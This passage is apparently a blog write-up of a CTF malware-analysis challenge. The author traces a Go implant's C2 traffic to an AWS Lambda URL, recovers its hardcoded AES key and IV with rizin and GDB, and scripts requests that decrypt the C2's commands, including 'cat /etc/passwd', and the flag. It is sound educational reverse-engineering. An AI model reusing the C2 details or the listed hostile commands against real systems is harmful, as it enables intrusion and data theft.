[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(58242), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.12.115.43")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(49078), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("18.219.175.41")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(44415), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.13.81.14")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(60646), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.141.58.20")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(48184), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.147.233.58")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(38774), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] socket(AF_INET6, SOCK_DGRAM|SOCK_CLOEXEC, IPPROTO_IP) = 4
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c01:4d60:cf53:51c9:9d9b", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c02:52bd:e45:6bcb:1c88", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c03:70e0:1dc1:ea23:68d", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c03:4d1d:7270:f8aa:2ddb", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c01:9ef7:c4db:cdeb:4fc7", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c02:e070:60e7:8666:6a91", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 4
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("3.16.20.159")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 27175] getsockopt(4, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
[pid 27175] getpeername(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("3.16.20.159")}, [112 => 16]) = 0
[pid 27175] getsockname(4, {sa_family=AF_INET, sin_port=htons(37916), sin_addr=inet_addr("10.0.2.15")}, [112 => 16]) = 0
[pid 27175] setsockopt(4, SOL_TCP, TCP_NODELAY, [1], 4) = 0
[pid 27175] setsockopt(4, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
[pid 27172] tgkill(27171, 27175, SIGURG <unfinished ...>
[pid 27175] setsockopt(4, SOL_TCP, TCP_KEEPINTVL, [30], 4 <unfinished ...>
[pid 27172] <... tgkill resumed>)       = 0
[pid 27175] <... setsockopt resumed>)   = 0
[pid 27175] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=27171, si_uid=1001} ---
[pid 27175] setsockopt(4, SOL_TCP, TCP_KEEPIDLE, [30], 4) = 0
[pid 27172] tgkill(27171, 27175, SIGURG <unfinished ...>
[pid 27175] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=27171, si_uid=1001} ---
[pid 27172] <... tgkill resumed>)       = 0
[pid 27174] exit_group(0)               = ?
[pid 27176] +++ exited with 0 +++
[pid 27175] +++ exited with 0 +++
[pid 27174] +++ exited with 0 +++
[pid 27173] +++ exited with 0 +++
[pid 27172] +++ exited with 0 +++
+++ exited with 0 +++

IMAGE

So in summary, what we see from the trace is: - runs commands - Resolves a domain (wehiy6oj3hpaud3yske7nrt5xu0lcovj[.]lambda-url[.]us-east-2[.]on[.]aws) - connects to the domain and sends request

Whois analysis

Just for fun let's analyse the c2 a bit. Maybe there'll be something else hosted there we're supposed to find:

$ whois 3.16.20.159

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#


NetRange:       3.0.0.0 - 3.127.255.255
CIDR:           3.0.0.0/9
NetName:        AT-88-Z
NetHandle:      NET-3-0-0-0-1
Parent:         NET3 (NET-3-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   Amazon Technologies Inc. (AT-88-Z)
RegDate:        2017-12-20
Updated:        2022-05-18
Ref:            https://rdap.arin.net/registry/ip/3.0.0.0

Ok, they're AWS addresses. not super surprising

$ nmap -sV 3.16.20.159

Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-20 13:45 +0000
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 4.85% done; ETC: 13:46 (0:00:59 remaining)
Nmap scan report for ec2-3-16-20-159.us-east-2.compute.amazonaws.com (3.16.20.159)
Host is up (0.11s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.56 seconds

If we curl it we see it's a lambda. It returns a 403, but also JSON in the body with a "Message".

➜  ~ /usr/bin/curl -vk https://3.16.20.159
* Server certificate:
*  subject: CN=*.lambda-url.us-east-2.on.aws

> GET / HTTP/1.1
> Host: 3.16.20.159
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 403 Forbidden
< Date: Sat, 20 Dec 2025 13:46:14 GMT
< Content-Type: application/json
< Content-Length: 16
< Connection: keep-alive
< x-amzn-RequestId: 6c35e884-77f2-4aa9-b447-9eb64c84f605
< x-amzn-ErrorType: AccessDeniedException
< 
* Connection #0 to host 3.16.20.159 left intact
{"Message":null}%  

proxy legit c2

Proxying the comms we can see the server 401's when sent my VM hostname ubuntu-i3

GET /command?n=ubuntu-i3&s=0 HTTP/1.1
Host: wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 401 Unauthorized
Date: Sat, 20 Dec 2025 13:52:17 GMT
Content-Type: text/plain
Content-Length: 13
Connection: keep-alive
x-amzn-RequestId: dbf60537-0e92-4de2-b636-dcb6ce244fd0
X-Amzn-Trace-Id: Root=1-6946aa11-3390ba5f3f68ae39145b9be9;Parent=4fa6c070a94c7f1b;Sampled=0;Lineage=1:a58bc774:0

What are you?

If we change the hostname sent to monthly-challenge, the name of the vm in the web console of the CTF, we get back what looks like encrypted data.

HTTP/1.1 200 OK
Date: Sat, 20 Dec 2025 13:54:46 GMT
Content-Type: application/octet-stream
Content-Length: 32
Connection: close
x-amzn-RequestId: f44d649b-967c-4e09-bc08-cac13f687faf
X-Amzn-Trace-Id: Root=1-6946aaa6-11172aac4b67ede0389153fe;Parent=0115c3ffa4e77864;Sampled=0;Lineage=1:a58bc774:0

ÙÊàôú*!ñtr—8ß>K›2x^Žs܈H~öà

Sending multiple requests appears to get different encrypted responses. So we need to work out how to decrypt the response. This means marrying up the data we have in the static dissassembly with runtime dynamic analysis.

Dynamic analysis.

This is always a bit awkward, at least for me: static analysis tools like ghidra & IDA tend to be very good at static analysis, but can be annoying to get a nice GDB setup with. GDB doesn't have great ways of pulling data from static analysis tools. The best solution is probably to use the debugger in the cutter UI, but with a gdb backend.

But I'm not going to do that, instead im going to try and take the info from the static analysis (rizin) tools, write it back to the binary, and then debug with GDB. his makes the solution a bit more permanent: if I have a labelled binary to work with vs hooking up the debugger and decompiler every time I run it.

This means generating a debug section for the binary, based off of function labels in rizin's DB. Some potential approaches involve:

Let's start with technqiue 1:

Attempt 1: compiling GNU symbols file

The steps for this are:

  • 1: use rizin to export function names & addresses
  • 2: convert to GNU symbol file
  • 3: import strings in GDB
# lis labelled functins with addresses from rizin db
rizin -c 'Po test.rzdb; afl > funcs.txt' test

# use awk to create valid "syms.S" file 
cat funcs.txt | awk '{                                                                           
    gsub(/0x/, "", $1)
    name = $NF
    gsub(/[.-]/, "_", name)
    printf ".text\n.global %s\n.type %s, @function\n%s = 0x%s\n", name, name, name, $1
}' > syms.S  

# use whatever the fuck this is to convert to a .o
as -o syms.o syms.S

(note to self: as is the actual assembler, one of the low level build tools you rarely see by itself if u use higher level language compilers like gcc etc)

This did not work:

Attempt 2: writing symbols into ELF file directly

# nope??
rizin -q -c 'Po test.rzdb; afl' test | while read addr sz blk name; do
    clean=$(echo $name | tr '.-' '__')
    echo "--add-symbol $clean=$addr,global,function"
done | xargs objcopy test binary_with_syms

objcopy doesnt like that many arguments

BINARY="test"
OUTPUT="${BINARY}_syms"
JSON="$BINARY"_funcs.json

# Exract json function definitions
rizin -q -c "Po $BINARY.rzdb;aflj > $JSON" "$BINARY" 

# use LIEF + json parsing to modify binary
python3 batch_add_symbols.py $BINARY $JSON -o $OUTPUT

nm "$OUTPUT" | grep -E "^[0-9a-f]+ T"

After a lot of wrangling the batch_add_symbols script and encountering some fun LIEF errors, this successfully produced a binary with valid symbol information for functions!

Funny thing: after running one of the broken LLM LEIF scripts I somehow broke nm:

➜  upx-recovery-tool git:(main) ✗ nm test_syms

out of memory allocating 5701526400678217 bytes after a total of 18446716414737498792 bytes

Now, in GDB, we can see our functions from rizin!

$ gdb test_syms
pwndbg> info fun a_
0x0000000000639b80  a_unk
0x0000000000639d40  a_mem
0x0000000000639fa0  a_exec
0x000000000063a2a0  a_c2_get
0x000000000063a7c0  a_c2_post
0x000000000063ad00  a_encrypt
0x000000000063aee0  a_decrypt
0x000000000063b180  a_main

info fun a_ lists all functions starting with a_

So for the dynamic analysis we want to do the following:

  • intercept web request and replace hostname sent
  • break on the encryption to retrieve the key, or after to retrieve the plaintext
  • break on any calls to exec to see exacly what args are passed

As we can see from the golang documentation, the argument passed to AES.newCipher is the key, so that's probably where we want the breakpoint: https://pkg.go.dev/crypto/aes#NewCipher. So the function we want to break on is sym_go_crypto_aes_newCipher (note the awk script renames "." to "_" s they're valid function names )

(with match & replace rule ubuntu-i3 -> monthly-challenge in caido)

$ export HTTPS_PROXY="http://localhost:8080"
$ export HTTP_PROXY="http://localhost:8080" 
$ gdb -c "set follow-fork-mode parent;break sym_go_crypto_aes_newCipher" test_syms 

We encounter the following breakpoint:

 RAX  0xc0000c7c88 ◂— 0x48cea0a13facee73
 RBX  0x10
 RCX  0x20
 RDX  0x20
 RDI  0xc000186000 ◂— 0x29192d84be06cabc
 RSI  0x20
 R8   0x200
 R9   0x77
 R10  7
 R11  1
 R12  0
 R13  0
 R14  0xc0000021a0 —▸ 0xc0000c6000 —▸ 0xc0000c8000 —▸ 0xc0000c2000 —▸ 0xc0000c4000 ◂— ...
 R15  0x7fffd11ef703 ◂— 0x11f6
 RBP  0xc0000c7c00 —▸ 0xc0000c7ea8 —▸ 0xc0000c7f70 —▸ 0xc0000c7fd0 ◂— 0
 RSP  0xc0000c7b98 ◂— 0xa0d0a0d303a3437 ('74:0\r\n\r\n')
*RIP  0x63af15 (a_decrypt+53) ◂— call sym_go_crypto_aes_NewCipher
───────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────
   0x63aef3 <a_decrypt+19>    lea    rbp, [rsp + 0x68]               RBP => 0xc0000c7c00 —▸ 0xc0000c7ea8 —▸ 0xc0000c7f70 ◂— ...
   0x63aef8 <a_decrypt+24>    mov    qword ptr [rsp + 0x78], rax     [0xc0000c7c10] <= 0xc0000c7c88 ◂— 0x48cea0a13facee73
   0x63aefd <a_decrypt+29>    mov    qword ptr [rsp + 0x98], rsi     [0xc0000c7c30] <= 0x20
   0x63af05 <a_decrypt+37>    mov    qword ptr [rsp + 0xa0], r8      [0xc0000c7c38] <= 0x200
   0x63af0d <a_decrypt+45>    mov    qword ptr [rsp + 0x90], rdi     [0xc0000c7c28] <= 0xc000186000 ◂— 0x29192d84be06cabc
 ► 0x63af15 <a_decrypt+53>    call   sym_go_crypto_aes_NewCipher <sym_go_crypto_aes_NewCipher>
        rdi: 0xc000186000 ◂— 0x29192d84be06cabc   <- ptr to data
        rsi: 0x20                                 <- 32 
        rdx: 0x20
        rcx: 0x20

pwndbg> x/32xb 0xc000186000
0xc000186000: 0xbc  0xca  0x06  0xbe  0x84  0x2d  0x19  0x29
0xc000186008: 0x0e  0xa1  0x4c  0xc8  0x77  0xd5  0xb2  0xe1
0xc000186010: 0xff  0x48  0xa2  0xf2  0x9a  0x50  0x57  0x9c
0xc000186018: 0x25  0x80  0xfd  0xe8  0x70  0x12  0x7c  0x84



(to help with the abve I wrote a super simple golang encyptor / decryptor and debugged it to see where the key etc were parsed)

This revelaed that my analysis of calling conventions was wrong: compiled golang doesn't use the standard calling convention for x64 (rdi,rsi,rdx,rcx ), but instead uses rax,rbx,rcx,rdi,rsi,r8... To simplify this I made the following function in gdb to print args:

define xslice
    set $ptr = $rax
    set $len = $rbx
    eval "x/%dxb $ptr", $len
end

define goargs
    printf "arg1 (RAX): 0x%lx\n", $rax
    printf "arg2 (RBX): 0x%lx\n", $rbx
    printf "arg3 (RCX): 0x%lx\n", $rcx
    xslice
    printf "arg4 (RDI): 0x%lx\n", $rdi
    printf "arg5 (RSI): 0x%lx\n", $rsi
    printf "arg6 (R8):  0x%lx\n", $r8
end

We can see this works, by printing the arguments to the json unmarshall function and finding the payload sent to it from he config file, that also happens to show the AES decryption key:

pwndbg> goargs
arg1 (RAX): 0xc000104000
arg2 (RBX): 0x8f
arg3 (RCX): 0x90
0xc000104000: 0x7b  0x0a  0x20  0x20  0x22  0x73  0x65  0x72
0xc000104008: 0x76  0x65  0x72  0x22  0x3a  0x20  0x22  0x68
0xc000104010: 0x74  0x74  0x70  0x73  0x3a  0x2f  0x2f  0x77
0xc000104018: 0x65  0x68  0x69  0x79  0x36  0x6f  0x6a  0x33
0xc000104020: 0x68  0x70  0x61  0x75  0x64  0x33  0x79  0x73
0xc000104028: 0x6b  0x65  0x37  0x6e  0x72  0x74  0x35  0x78
0xc000104030: 0x75  0x30  0x6c  0x63  0x6f  0x76  0x6a  0x2e
0xc000104038: 0x6c  0x61  0x6d  0x62  0x64  0x61  0x2d  0x75
0xc000104040: 0x72  0x6c  0x2e  0x75  0x73  0x2d  0x65  0x61
0xc000104048: 0x73  0x74  0x2d  0x32  0x2e  0x6f  0x6e  0x2e
0xc000104050: 0x61  0x77  0x73  0x2f  0x63  0x6f  0x6d  0x6d
0xc000104058: 0x61  0x6e  0x64  0x22  0x2c  0x0a  0x20  0x20
0xc000104060: 0x22  0x65  0x6e  0x63  0x5f  0x6b  0x65  0x79
0xc000104068: 0x22  0x3a  0x20  0x22  0x37  0x33  0x65  0x65
0xc000104070: 0x61  0x63  0x33  0x66  0x61  0x31  0x61  0x30
0xc000104078: 0x63  0x65  0x34  0x38  0x66  0x33  0x38  0x31
0xc000104080: 0x63  0x61  0x31  0x65  0x36  0x64  0x37  0x31
0xc000104088: 0x66  0x30  0x37  0x37  0x22  0x0a  0x7d
arg4 (RDI): 0x64f220
arg5 (RSI): 0xc0000b4020
arg6 (R8):  0x8

pwndbg> x/s 0xc000104000
0xc000104000: "{\n  \"server\": \"https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command\",\n  \"enc_key\": \"73eeac3fa1a0ce48f381ca1e6d71f077\"\n}\001"

As it happens I'd seen the key earlier in a pointer in a register and

now we have the key, time to find the IV. This is in the 2nd argument to the function NewCBCDecrypter (https://pkg.go.dev/crypto/cipher#example-NewCBCDecrypter)

These are the arguments, and I've labelled what I think they are:

# func NewCBCEncrypter(b Block, iv []byte) BlockMode
pwndbg> goargs
arg1 (RAX): 0x718910        # < ---- I think pointer to b Block
arg2 (RBX): 0xc000094120  
arg3 (RCX): 0xc0000a8000    # I think pointer to IV
arg4 (RDI): 0x10            # I think length of IV (16)
arg5 (RSI): 0x200           # I think total allocated size of IV buffer 
arg6 (R8):  0xc0000a8010    # if RCX is not IV maybe this is

pwndbg> x/16xb 0xc0000a8000
0xc0000a8000: 0xd0  0x54  0xdd  0xce  0x82  0xcc  0x91  0x6a
0xc0000a8008: 0xa6  0x68  0xbd  0xdc  0x74  0xc2  0x7c  0xa8
pwndbg> 

If we plug this IV alongside the response body to cyberchef, we get our "whoami" command out :

cyberchef img

we can also see that we didn't even need to do this, somewhat obviously the IV is the first 16 bytes of the packet, and the ciphertext the next 16. This is the same client->server as server-> client:

/usr/bin/curl -k \
  'https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command?n=monthly-challenge&s=0'
  -H $'Host: wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws'
  -H $'User-Agent: Go-http-client/1.1'
  -H $'Accept-Encoding: gzip' | hexdump    

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    32  100    32    0     0    104      0 --:--:-- --:--:-- --:--:--   104
0000000 4f1a ae09 77ee 2f5d c2b8 8d8c 4cbb 7466 <- IV
0000010 6192 746b f823 00f5 c815 8458 4f61 4456 < - block

Ok so we've decrypted the comms so far, but not actually seen a flag. Presumably the flag comes from the server in an encrypted response to some client message.

If we look at the command request we see an s parameter that changes from 1->2 upon subsequent requests.

GET /command?n=ubuntu-i3&s=2 HTTP/1.1
Host: wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

The s parameter probably represents some command sequence, so let's just fuzz that and decrypt all the responses:

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

KEY = bytes.fromhex('73eeac3fa1a0ce48f381ca1e6d71f077')

def get_command(i: int):
    URL = f'https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command?n=monthly-challenge&s={i}'
    resp = requests.get(URL, verify=False)
    print(f"[+] Status: {resp.status_code}")

    data = resp.content

    if resp.status_code == 200 and len(data) > 16:
        IV = data[:16]
        data = pad(data[16:],16)

    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    plaintext = cipher.decrypt(data)
    print(f'Payload {i}:\n{plaintext}')


if __name__ == '__main__':
    for i in range(30):
        get_command(i)

$ python3 query_commands.py

[+] Status: 200
32
Payload 0:
b'whoami\n\n\n\n\n\n\n\n\n\n\xb2\xd98\x08@\x12cU\xbd2L\x0e\x90\xc6\x9e\x9a'
[+] Status: 200
32
Payload 1:
b'id\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x00(\xa3\xc0*\xc2j\xa9\xdb\x0e9\xefVW=B'
[+] Status: 200
32
Payload 2:
b'cat /etc/passwd\x01\xadM\x89\xc0\x94\x97\xc9\x96\xdb\x1b\xa4\x98\xa2q\xec\x9d'
[+] Status: 200
64
Payload 3:
b"DONE WIZ_CTF{The_Ghost_In_The_Machine}\n\n\n\n\n\n\n\n\n\n=f\xf1\xaf\xd0'3<R|\xaf\xa7\x0e\xab\xd4g"
[+] Status: 200
32
Payload 4:
b'whoami\n\n\n\n\n\n\n\n\n\n\x84y\x05V?\xcd\xd1\x8d\x1f\x8a\xc5\x81\xeb\xd2EK'

And here we have it.

summary

Wrapping up

Ok, so in the end I hugely overcomplicated things as usual.

The "golden path" for solving this probably looks like:

  • strace the binary and find the cnfig file interaction
  • pull config file from ctf server to local
  • fixup the UPX
  • extract the original go bin
  • open in cutter
  • debug using cutter native debugger, breaking on JSON unmarshall function
  • extract hard coded encrypion key
  • notice C2 comms seems to be IV + ciphertext, verify with key
  • iterate over s parameter and get flag.

But here's the new stuff wot I learned:

  • The Claude LLM is weak at detailed debugging / RE:

    • it often has good ideas in principle, but messes up the details or misses key gotchas.
    • It tends to be over-optimistic about the inter-operability of tools
    • It hallucinates a lot of properties & functions in less well known libraries such as LIEF / radare2
  • by dumping memory maps you can partially reconstruct binaries unpacked from GDB, but not fully

  • https://github.com/NozomiNetworks/upx-recovery-tool works well for actually fixing and recovering binaries

  • pwndbg is nicer than peda

    • but for some reason catch breakpoints trigger after syscalls not before (maybe just my system)
  • cutter scripts are awkward and have to be a full on plugin

  • go binaries look scary to analyse, but thanks to the community are easier than you think, largely due to these projects:

  • rizin is cool and helpful when trying to automate analysis in bash

  • some nifty docker cmds for building isolated containers for quick analysis

  • strace -s 9999 shows full lines and doesn't shorten stuff